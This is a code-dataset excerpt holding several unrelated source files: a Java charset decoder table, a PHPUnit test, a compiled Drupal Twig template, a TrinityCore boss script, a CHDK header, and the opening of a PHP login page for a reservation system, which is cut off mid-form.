code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
|---|---|---|---|---|---|
/*
* Copyright 2003 Sun Microsystems, Inc. All Rights Reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Sun designates this
* particular file as subject to the "Classpath" exception as provided
* by Sun in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
* CA 95054 USA or visit www.sun.com if you need additional information or
* have any questions.
*/
package sun.nio.cs.ext;
import java.nio.charset.Charset;
import java.nio.charset.CharsetDecoder;
public class JIS_X_0208_Solaris_Decoder extends DoubleByteDecoder
{
public JIS_X_0208_Solaris_Decoder(Charset cs) {
super(cs,
index1,
index2,
0x21,
0x7E);
}
private final static String innerIndex0=
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2460\u2461"+
"\u2462\u2463\u2464\u2465\u2466\u2467\u2468\u2469"+
"\u246A\u246B\u246C\u246D\u246E\u246F\u2470\u2471"+
"\u2472\u2473\u2160\u2161\u2162\u2163\u2164\u2165"+
"\u2166\u2167\u2168\u2169\uFFFD\u3349\u3314\u3322"+
"\u334D\u3318\u3327\u3303\u3336\u3351\u3357\u330D"+
"\u3326\u3323\u332B\u334A\u333B\u339C\u339D\u339E"+
"\u338E\u338F\u33C4\u33A1\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\u337B\u301D\u301F\u2116"+
"\u33CD\u2121\u32A4\u32A5\u32A6\u32A7\u32A8\u3231"+
"\u3232\u3239\u337E\u337D\u337C\u2252\u2261\u222B"+
"\u222E\u2211\u221A\u22A5\u2220\u221F\u22BF\u2235"+
"\u2229\u222A\uFFFD\uFFFD\u7E8A\u891C\u9348\u9288"+
"\u84DC\u4FC9\u70BB\u6631\u68C8\u92F9\u66FB\u5F45"+
"\u4E28\u4EE1\u4EFC\u4F00\u4F03\u4F39\u4F56\u4F92"+
"\u4F8A\u4F9A\u4F94\u4FCD\u5040\u5022\u4FFF\u501E"+
"\u5046\u5070\u5042\u5094\u50F4\u50D8\u514A\u5164"+
"\u519D\u51BE\u51EC\u5215\u529C\u52A6\u52C0\u52DB"+
"\u5300\u5307\u5324\u5372\u5393\u53B2\u53DD\uFA0E"+
"\u549C\u548A\u54A9\u54FF\u5586\u5759\u5765\u57AC"+
"\u57C8\u57C7\uFA0F\uFA10\u589E\u58B2\u590B\u5953"+
"\u595B\u595D\u5963\u59A4\u59BA\u5B56\u5BC0\u752F"+
"\u5BD8\u5BEC\u5C1E\u5CA6\u5CBA\u5CF5\u5D27\u5D53"+
"\uFA11\u5D42\u5D6D\u5DB8\u5DB9\u5DD0\u5F21\u5F34"+
"\u5F67\u5FB7\u5FDE\u605D\u6085\u608A\u60DE\u60D5"+
"\u6120\u60F2\u6111\u6137\u6130\u6198\u6213\u62A6"+
"\u63F5\u6460\u649D\u64CE\u654E\u6600\u6615\u663B"+
"\u6609\u662E\u661E\u6624\u6665\u6657\u6659\uFA12"+
"\u6673\u6699\u66A0\u66B2\u66BF\u66FA\u670E\uF929"+
"\u6766\u67BB\u6852\u67C0\u6801\u6844\u68CF\uFA13"+
"\u6968\uFA14\u6998\u69E2\u6A30\u6A6B\u6A46\u6A73"+
"\u6A7E\u6AE2\u6AE4\u6BD6\u6C3F\u6C5C\u6C86\u6C6F"+
"\u6CDA\u6D04\u6D87\u6D6F\u6D96\u6DAC\u6DCF\u6DF8"+
"\u6DF2\u6DFC\u6E39\u6E5C\u6E27\u6E3C\u6EBF\u6F88"+
"\u6FB5\u6FF5\u7005\u7007\u7028\u7085\u70AB\u710F"+
"\u7104\u715C\u7146\u7147\uFA15\u71C1\u71FE\u72B1"+
"\u72BE\u7324\uFA16\u7377\u73BD\u73C9\u73D6\u73E3"+
"\u73D2\u7407\u73F5\u7426\u742A\u7429\u742E\u7462"+
"\u7489\u749F\u7501\u756F\u7682\u769C\u769E\u769B"+
"\u76A6\uFA17\u7746\u52AF\u7821\u784E\u7864\u787A"+
"\u7930\uFA18\uFA19\uFA1A\u7994\uFA1B\u799B\u7AD1"+
"\u7AE7\uFA1C\u7AEB\u7B9E\uFA1D\u7D48\u7D5C\u7DB7"+
"\u7DA0\u7DD6\u7E52\u7F47\u7FA1\uFA1E\u8301\u8362"+
"\u837F\u83C7\u83F6\u8448\u84B4\u8553\u8559\u856B"+
"\uFA1F\u85B0\uFA20\uFA21\u8807\u88F5\u8A12\u8A37"+
"\u8A79\u8AA7\u8ABE\u8ADF\uFA22\u8AF6\u8B53\u8B7F"+
"\u8CF0\u8CF4\u8D12\u8D76\uFA23\u8ECF\uFA24\uFA25"+
"\u9067\u90DE\uFA26\u9115\u9127\u91DA\u91D7\u91DE"+
"\u91ED\u91EE\u91E4\u91E5\u9206\u9210\u920A\u923A"+
"\u9240\u923C\u924E\u9259\u9251\u9239\u9267\u92A7"+
"\u9277\u9278\u92E7\u92D7\u92D9\u92D0\uFA27\u92D5"+
"\u92E0\u92D3\u9325\u9321\u92FB\uFA28\u931E\u92FF"+
"\u931D\u9302\u9370\u9357\u93A4\u93C6\u93DE\u93F8"+
"\u9431\u9445\u9448\u9592\uF9DC\uFA29\u969D\u96AF"+
"\u9733\u973B\u9743\u974D\u974F\u9751\u9755\u9857"+
"\u9865\uFA2A\uFA2B\u9927\uFA2C\u999E\u9A4E\u9AD9"+
"\u9ADC\u9B75\u9B72\u9B8F\u9BB1\u9BBB\u9C00\u9D70"+
"\u9D6B\uFA2D\u9E19\u9ED1\uFFFD\uFFFD\u2170\u2171"+
"\u2172\u2173\u2174\u2175\u2176\u2177\u2178\u2179"+
"\u3052\u00A6\uFF07\uFF02\u2170\u2171\u2172\u2173"+
"\u2174\u2175\u2176\u2177\u2178\u2179\u2160\u2161"+
"\u2162\u2163\u2164\u2165\u2166\u2167\u2168\u2169"+
"\u3052\u00A6\uFF07\uFF02\u3231\u2116\u2121\u306E"+
"\u7E8A\u891C\u9348\u9288\u84DC\u4FC9\u70BB\u6631"+
"\u68C8\u92F9\u66FB\u5F45\u4E28\u4EE1\u4EFC\u4F00"+
"\u4F03\u4F39\u4F56\u4F92\u4F8A\u4F9A\u4F94\u4FCD"+
"\u5040\u5022\u4FFF\u501E\u5046\u5070\u5042\u5094"+
"\u50F4\u50D8\u514A\u5164\u519D\u51BE\u51EC\u5215"+
"\u529C\u52A6\u52C0\u52DB\u5300\u5307\u5324\u5372"+
"\u5393\u53B2\u53DD\uFA0E\u549C\u548A\u54A9\u54FF"+
"\u5586\u5759\u5765\u57AC\u57C8\u57C7\uFA0F\uFA10"+
"\u589E\u58B2\u590B\u5953\u595B\u595D\u5963\u59A4"+
"\u59BA\u5B56\u5BC0\u752F\u5BD8\u5BEC\u5C1E\u5CA6"+
"\u5CBA\u5CF5\u5D27\u5D53\uFA11\u5D42\u5D6D\u5DB8"+
"\u5DB9\u5DD0\u5F21\u5F34\u5F67\u5FB7\u5FDE\u605D"+
"\u6085\u608A\u60DE\u60D5\u6120\u60F2\u6111\u6137"+
"\u6130\u6198\u6213\u62A6\u63F5\u6460\u649D\u64CE"+
"\u654E\u6600\u6615\u663B\u6609\u662E\u661E\u6624"+
"\u6665\u6657\u6659\uFA12\u6673\u6699\u66A0\u66B2"+
"\u66BF\u66FA\u670E\uF929\u6766\u67BB\u6852\u67C0"+
"\u6801\u6844\u68CF\uFA13\u6968\uFA14\u6998\u69E2"+
"\u6A30\u6A6B\u6A46\u6A73\u6A7E\u6AE2\u6AE4\u6BD6"+
"\u6C3F\u6C5C\u6C86\u6C6F\u6CDA\u6D04\u6D87\u6D6F"+
"\u6D96\u6DAC\u6DCF\u6DF8\u6DF2\u6DFC\u6E39\u6E5C"+
"\u6E27\u6E3C\u6EBF\u6F88\u6FB5\u6FF5\u7005\u7007"+
"\u7028\u7085\u70AB\u710F\u7104\u715C\u7146\u7147"+
"\uFA15\u71C1\u71FE\u72B1\u72BE\u7324\uFA16\u7377"+
"\u73BD\u73C9\u73D6\u73E3\u73D2\u7407\u73F5\u7426"+
"\u742A\u7429\u742E\u7462\u7489\u749F\u7501\u756F"+
"\u7682\u769C\u769E\u769B\u76A6\uFA17\u7746\u52AF"+
"\u7821\u784E\u7864\u787A\u7930\uFA18\uFA19\uFA1A"+
"\u7994\uFA1B\u799B\u7AD1\u7AE7\uFA1C\u7AEB\u7B9E"+
"\uFA1D\u7D48\u7D5C\u7DB7\u7DA0\u7DD6\u7E52\u7F47"+
"\u7FA1\uFA1E\u8301\u8362\u837F\u83C7\u83F6\u8448"+
"\u84B4\u8553\u8559\u856B\uFA1F\u85B0\uFA20\uFA21"+
"\u8807\u88F5\u8A12\u8A37\u8A79\u8AA7\u8ABE\u8ADF"+
"\uFA22\u8AF6\u8B53\u8B7F\u8CF0\u8CF4\u8D12\u8D76"+
"\uFA23\u8ECF\uFA24\uFA25\u9067\u90DE\uFA26\u9115"+
"\u9127\u91DA\u91D7\u91DE\u91ED\u91EE\u91E4\u91E5"+
"\u9206\u9210\u920A\u923A\u9240\u923C\u924E\u9259"+
"\u9251\u9239\u9267\u92A7\u9277\u9278\u92E7\u92D7"+
"\u92D9\u92D0\uFA27\u92D5\u92E0\u92D3\u9325\u9321"+
"\u92FB\uFA28\u931E\u92FF\u931D\u9302\u9370\u9357"+
"\u93A4\u93C6\u93DE\u93F8\u9431\u9445\u9448\u9592"+
"\uF9DC\uFA29\u969D\u96AF\u9733\u973B\u9743\u974D"+
"\u974F\u9751\u9755\u9857\u9865\uFA2A\uFA2B\u9927"+
"\uFA2C\u999E\u9A4E\u9AD9\u9ADC\u9B75\u9B72\u9B8F"+
"\u9BB1\u9BBB\u9C00\u9D70\u9D6B\uFA2D\u9E19\u9ED1"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"+
"\uFFFD\uFFFD";
private static final short index1[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 3, 4, 5, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 6, 7, 8, 9, 10, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
private final static String index2[] = {
innerIndex0
};
protected char convSingleByte(int b) {
return REPLACE_CHAR;
}
/**
* These accessors are temporarily supplied while sun.io
* converters co-exist with the sun.nio.cs.{ext} charset coders
* These facilitate sharing of conversion tables between the
* two co-existing implementations. When sun.io converters
* are made extinct these will be unncessary and should be removed
*/
public static short[] getIndex1() {
return index1;
}
public static String[] getIndex2() {
return index2;
}
}
|
neelance/jre4ruby
|
jre4ruby/src/share/sun/nio/cs/ext/JIS_X_0208_Solaris_Decoder.java
|
Java
|
gpl-2.0
| 10,929
|
<?php
declare(strict_types=1);
namespace Netgen\Bundle\EzFormsBundle\Tests\Form\FieldTypeHandler;
use eZ\Publish\Core\FieldType\Url\Value as UrlValue;
use eZ\Publish\Core\Repository\Values\ContentType\FieldDefinition;
use Netgen\Bundle\EzFormsBundle\Form\FieldTypeHandler;
use Netgen\Bundle\EzFormsBundle\Form\FieldTypeHandler\Url;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Form\FormBuilder;
final class UrlTest extends TestCase
{
public function testAssertInstanceOfFieldTypeHandler(): void
{
$url = new Url();
self::assertInstanceOf(FieldTypeHandler::class, $url);
}
public function testConvertFieldValueToForm(): void
{
$url = new Url();
$timeValue = new UrlValue('link', 'text');
$returnedValue = $url->convertFieldValueToForm($timeValue);
self::assertSame(['url' => 'link', 'text' => 'text'], $returnedValue);
}
public function testConvertFieldValueFromForm(): void
{
$url = new Url();
$timeValue = new UrlValue('link', 'text');
$returnedValue = $url->convertFieldValueFromForm(['url' => 'link', 'text' => 'text']);
self::assertSame($timeValue->link, $returnedValue->link);
self::assertSame($timeValue->text, $returnedValue->text);
}
public function testConvertFieldValueFromFormWhenDataIsNotArray(): void
{
$url = new Url();
$timeValue = new UrlValue(null, null);
$returnedValue = $url->convertFieldValueFromForm('some string');
self::assertSame($timeValue->link, $returnedValue->link);
self::assertSame($timeValue->text, $returnedValue->text);
}
public function testBuildFieldCreateForm(): void
{
$formBuilder = $this->getMockBuilder(FormBuilder::class)
->disableOriginalConstructor()
->onlyMethods(['add'])
->getMock();
$formBuilder->expects(self::once())
->method('add');
$fieldDefinition = new FieldDefinition(
[
'id' => 'id',
'identifier' => 'identifier',
'isRequired' => true,
'descriptions' => ['fre-FR' => 'fre-FR'],
'names' => ['fre-FR' => 'fre-FR'],
]
);
$languageCode = 'eng-GB';
$url = new Url();
$url->buildFieldCreateForm($formBuilder, $fieldDefinition, $languageCode);
}
}
|
netgen/NetgenEzFormsBundle
|
tests/Form/FieldTypeHandler/UrlTest.php
|
PHP
|
gpl-2.0
| 2,421
|
<?php
/* core/themes/classy/templates/navigation/links.html.twig */
class __TwigTemplate_ece02f0c3df7b0086cd0ca8465f38308d76b527e9ac8a6b1025d4d084d54ae92 extends Twig_Template
{
public function __construct(Twig_Environment $env)
{
parent::__construct($env);
$this->parent = false;
$this->blocks = array(
);
}
protected function doDisplay(array $context, array $blocks = array())
{
$tags = array("if" => 34, "for" => 43);
$filters = array();
$functions = array();
try {
$this->env->getExtension('Twig_Extension_Sandbox')->checkSecurity(
array('if', 'for'),
array(),
array()
);
} catch (Twig_Sandbox_SecurityError $e) {
$e->setSourceContext($this->getSourceContext());
if ($e instanceof Twig_Sandbox_SecurityNotAllowedTagError && isset($tags[$e->getTagName()])) {
$e->setTemplateLine($tags[$e->getTagName()]);
} elseif ($e instanceof Twig_Sandbox_SecurityNotAllowedFilterError && isset($filters[$e->getFilterName()])) {
$e->setTemplateLine($filters[$e->getFilterName()]);
} elseif ($e instanceof Twig_Sandbox_SecurityNotAllowedFunctionError && isset($functions[$e->getFunctionName()])) {
$e->setTemplateLine($functions[$e->getFunctionName()]);
}
throw $e;
}
// line 34
if (($context["links"] ?? null)) {
// line 35
if (($context["heading"] ?? null)) {
// line 36
if ($this->getAttribute(($context["heading"] ?? null), "level", array())) {
// line 37
echo "<";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute(($context["heading"] ?? null), "level", array()), "html", null, true));
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute(($context["heading"] ?? null), "attributes", array()), "html", null, true));
echo ">";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute(($context["heading"] ?? null), "text", array()), "html", null, true));
echo "</";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute(($context["heading"] ?? null), "level", array()), "html", null, true));
echo ">";
} else {
// line 39
echo "<h2";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute(($context["heading"] ?? null), "attributes", array()), "html", null, true));
echo ">";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute(($context["heading"] ?? null), "text", array()), "html", null, true));
echo "</h2>";
}
}
// line 42
echo "<ul";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, ($context["attributes"] ?? null), "html", null, true));
echo ">";
// line 43
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable(($context["links"] ?? null));
foreach ($context['_seq'] as $context["_key"] => $context["item"]) {
// line 44
echo "<li";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute($context["item"], "attributes", array()), "html", null, true));
echo ">";
// line 45
if ($this->getAttribute($context["item"], "link", array())) {
// line 46
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute($context["item"], "link", array()), "html", null, true));
} elseif ($this->getAttribute( // line 47
$context["item"], "text_attributes", array())) {
// line 48
echo "<span";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute($context["item"], "text_attributes", array()), "html", null, true));
echo ">";
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute($context["item"], "text", array()), "html", null, true));
echo "</span>";
} else {
// line 50
echo $this->env->getExtension('Twig_Extension_Sandbox')->ensureToStringAllowed($this->env->getExtension('Drupal\Core\Template\TwigExtension')->escapeFilter($this->env, $this->getAttribute($context["item"], "text", array()), "html", null, true));
}
// line 52
echo "</li>";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['_key'], $context['item'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 54
echo "</ul>";
}
}
public function getTemplateName()
{
return "core/themes/classy/templates/navigation/links.html.twig";
}
public function isTraitable()
{
return false;
}
public function getDebugInfo()
{
return array ( 101 => 54, 95 => 52, 92 => 50, 85 => 48, 83 => 47, 81 => 46, 79 => 45, 75 => 44, 71 => 43, 67 => 42, 59 => 39, 49 => 37, 47 => 36, 45 => 35, 43 => 34,);
}
/** @deprecated since 1.27 (to be removed in 2.0). Use getSourceContext() instead */
public function getSource()
{
@trigger_error('The '.__METHOD__.' method is deprecated since version 1.27 and will be removed in 2.0. Use getSourceContext() instead.', E_USER_DEPRECATED);
return $this->getSourceContext()->getCode();
}
public function getSourceContext()
{
return new Twig_Source("", "core/themes/classy/templates/navigation/links.html.twig", "/var/www/html/d8/web/core/themes/classy/templates/navigation/links.html.twig");
}
}
|
sunlight25/d8
|
web/sites/default/files/php/twig/59f57a8199fdd_links.html.twig_KA9UNfGPPAAfgCg_weyFshk4D/eGH-5KeXbrawrU3zrI3hz1yHDaZZ4DUVkjEVaxxYPiQ.php
|
PHP
|
gpl-2.0
| 7,563
|
/*
* This file is part of the TrinityCore Project. See AUTHORS file for Copyright information
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "ScriptMgr.h"
#include "InstanceScript.h"
#include "SpellScript.h"
#include "ScriptedCreature.h"
#include "violet_hold.h"
enum Spells
{
SPELL_SUMMON_PLAYER = 21150,
SPELL_ARCANE_VACUUM = 58694,
SPELL_BLIZZARD = 58693,
SPELL_MANA_DESTRUCTION = 59374,
SPELL_TAIL_SWEEP = 58690,
SPELL_UNCONTROLLABLE_ENERGY = 58688,
SPELL_TRANSFORM = 58668
};
enum Yells
{
SAY_AGGRO = 0,
SAY_SLAY = 1,
SAY_DEATH = 2,
SAY_SPAWN = 3,
SAY_DISRUPTION = 4,
SAY_BREATH_ATTACK = 5,
SAY_SPECIAL_ATTACK = 6
};
class boss_cyanigosa : public CreatureScript
{
public:
boss_cyanigosa() : CreatureScript("boss_cyanigosa") { }
struct boss_cyanigosaAI : public BossAI
{
boss_cyanigosaAI(Creature* creature) : BossAI(creature, DATA_CYANIGOSA) { }
void EnterCombat(Unit* who) override
{
BossAI::EnterCombat(who);
Talk(SAY_AGGRO);
}
void KilledUnit(Unit* victim) override
{
if (victim->GetTypeId() == TYPEID_PLAYER)
Talk(SAY_SLAY);
}
void JustDied(Unit* killer) override
{
BossAI::JustDied(killer);
Talk(SAY_DEATH);
}
void MoveInLineOfSight(Unit* /*who*/) override { }
void ScheduleTasks() override
{
me->GetScheduler().Schedule(Seconds(10), [this](TaskContext task)
{
DoCastAOE(SPELL_ARCANE_VACUUM);
task.Repeat();
});
me->GetScheduler().Schedule(Seconds(15), [this](TaskContext task)
{
if (Unit* target = SelectTarget(SELECT_TARGET_RANDOM, 0, 45.0f, true))
DoCast(target, SPELL_BLIZZARD);
task.Repeat();
});
me->GetScheduler().Schedule(Seconds(20), [this](TaskContext task)
{
DoCastVictim(SPELL_TAIL_SWEEP);
task.Repeat();
});
me->GetScheduler().Schedule(Seconds(25), [this](TaskContext task)
{
DoCastVictim(SPELL_UNCONTROLLABLE_ENERGY);
task.Repeat();
});
if (IsHeroic())
{
me->GetScheduler().Schedule(Seconds(30), [this](TaskContext task)
{
if (Unit* target = SelectTarget(SELECT_TARGET_RANDOM, 0, 50.0f, true))
DoCast(target, SPELL_MANA_DESTRUCTION);
task.Repeat();
});
}
}
};
CreatureAI* GetAI(Creature* creature) const override
{
return GetVioletHoldAI<boss_cyanigosaAI>(creature);
}
};
class achievement_defenseless : public AchievementCriteriaScript
{
public:
achievement_defenseless() : AchievementCriteriaScript("achievement_defenseless") { }
bool OnCheck(Player* /*player*/, Unit* target) override
{
if (!target)
return false;
InstanceScript* instance = target->GetInstanceScript();
if (!instance)
return false;
return instance->GetData(DATA_DEFENSELESS) != 0;
}
};
class spell_cyanigosa_arcane_vacuum : public SpellScriptLoader
{
public:
spell_cyanigosa_arcane_vacuum() : SpellScriptLoader("spell_cyanigosa_arcane_vacuum") { }
class spell_cyanigosa_arcane_vacuum_SpellScript : public SpellScript
{
PrepareSpellScript(spell_cyanigosa_arcane_vacuum_SpellScript);
bool Validate(SpellInfo const* /*spellInfo*/) override
{
return ValidateSpellInfo({ SPELL_SUMMON_PLAYER });
}
void HandleScript(SpellEffIndex /*effIndex*/)
{
GetCaster()->CastSpell(GetHitUnit(), SPELL_SUMMON_PLAYER, true);
}
void Register() override
{
OnEffectHitTarget += SpellEffectFn(spell_cyanigosa_arcane_vacuum_SpellScript::HandleScript, EFFECT_0, SPELL_EFFECT_DUMMY);
}
};
SpellScript* GetSpellScript() const override
{
return new spell_cyanigosa_arcane_vacuum_SpellScript();
}
};
void AddSC_boss_cyanigosa()
{
new boss_cyanigosa();
new achievement_defenseless();
new spell_cyanigosa_arcane_vacuum();
}
|
AshamaneProject/AshamaneCore
|
src/server/scripts/Northrend/VioletHold/boss_cyanigosa.cpp
|
C++
|
gpl-2.0
| 5,736
|
//Auto generated file. Do not edit the contents of this file.
//Update the modules/module_exportlist.c file
#ifndef MODULE_EXPORTLIST_H
#define MODULE_EXPORTLIST_H
#define CHDK_BUILD_NUM 10400
#define EXPORTLIST_COUNT 369
#endif
|
adongy/ixus160_elph160
|
modules/module_exportlist.h
|
C
|
gpl-2.0
| 233
|
<?php
//root nicht verändern wenn von einer anderen seite aufgerufen!
if (!isset ($fehler) || $fehler == true){
$root = "..";
}
include_once($root."/conf/rdbmsConfig.inc.php");
include_once($root."/include/uebersetzer.inc.php");
include_once($root."/include/benutzerFunctions.inc.php");
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Wartungsseite Reservierungsplan UTILO.eu Belegungsplan und Kundendatenbank Rezervi Generic</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="<?php echo $root ?>/templates/stylesheets.css" rel="stylesheet" type="text/css">
</head>
<body>
<table width="95%" height="90%" border="0" align="center" cellpadding="0" cellspacing="3" class="table">
<tr>
<td align="center" valign="middle"><table border="0" align="center" cellpadding="0" cellspacing="2" class="table">
<tr>
<td class="ueberschrift" align="right">Welcome at the
webinterface of 'Rezervi Generic'
<a href="http://www.UTILO.eu/" target="_blank" class="ueberschrift">© UTILO.eu</a>
</td>
<td><a href="http://www.UTILO.eu" target="_blank"><img src="<?php echo $root ?>/webinterface/utilologo200px.gif" border="0"></a></td>
<td class="ueberschrift">Willkommen auf der Wartungsseite
von
'Rezervi Generic'
<a href="http://www.rezervi.com/" target="_blank" class="ueberschrift">© UTILO.eu</a>
</td>
</tr>
</table>
<p class="ueberschrift">
<?php
//passwort wurde falsch eingegeben:
if (!(empty($fehlgeschlagen)) && $fehlgeschlagen) {
?>
</p>
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="belegt">
<tr>
<td><div align="center"><?php echo(getUebersetzung("Der Benutzername und/oder das Passwort wurden falsch eingegeben, bitte wiederholen Sie Ihre Eingabe!")); ?></div></td>
</tr>
</table>
<br />
<?php
} //ende if passwort falsch
?>
<table border="0" align="center" cellpadding="0" cellspacing="2" class="table">
<tr>
<td><p align="center" class="standardSchrift">
Please login with your username and password:<br/>
Bitte melden Sie sich mit Ihrem Benutzernamen und Passwort an:<br/><br/>
If you login for the first time please use 'test' for username and password.
Change the password after your first login!<br/>
Verwenden sie den Benutzernamen und das Password 'test',
wenn sie sich das erste mal anmelden. Vergessen sie nicht diese Daten danach zu ändern!</p>
<form action="<?php echo $root ?>/webinterface/inhalt.php" method="post" name="passwortEingabe" target="_self" id="passwortEingabe">
<table width="10" border="0" align="center" cellpadding="0" cellspacing="5" class="table">
<tr>
<td valign="middle">Username/Benutzername</td>
<td><input name="ben" type="text" class="table" id="ben">
</td>
</tr>
<tr>
<td valign="middle">Password/Passwort</td>
<td><input name="pass" type="password" class="table" id="pass"></td>
</tr>
<tr>
<td valign="middle">Language/Sprache</td>
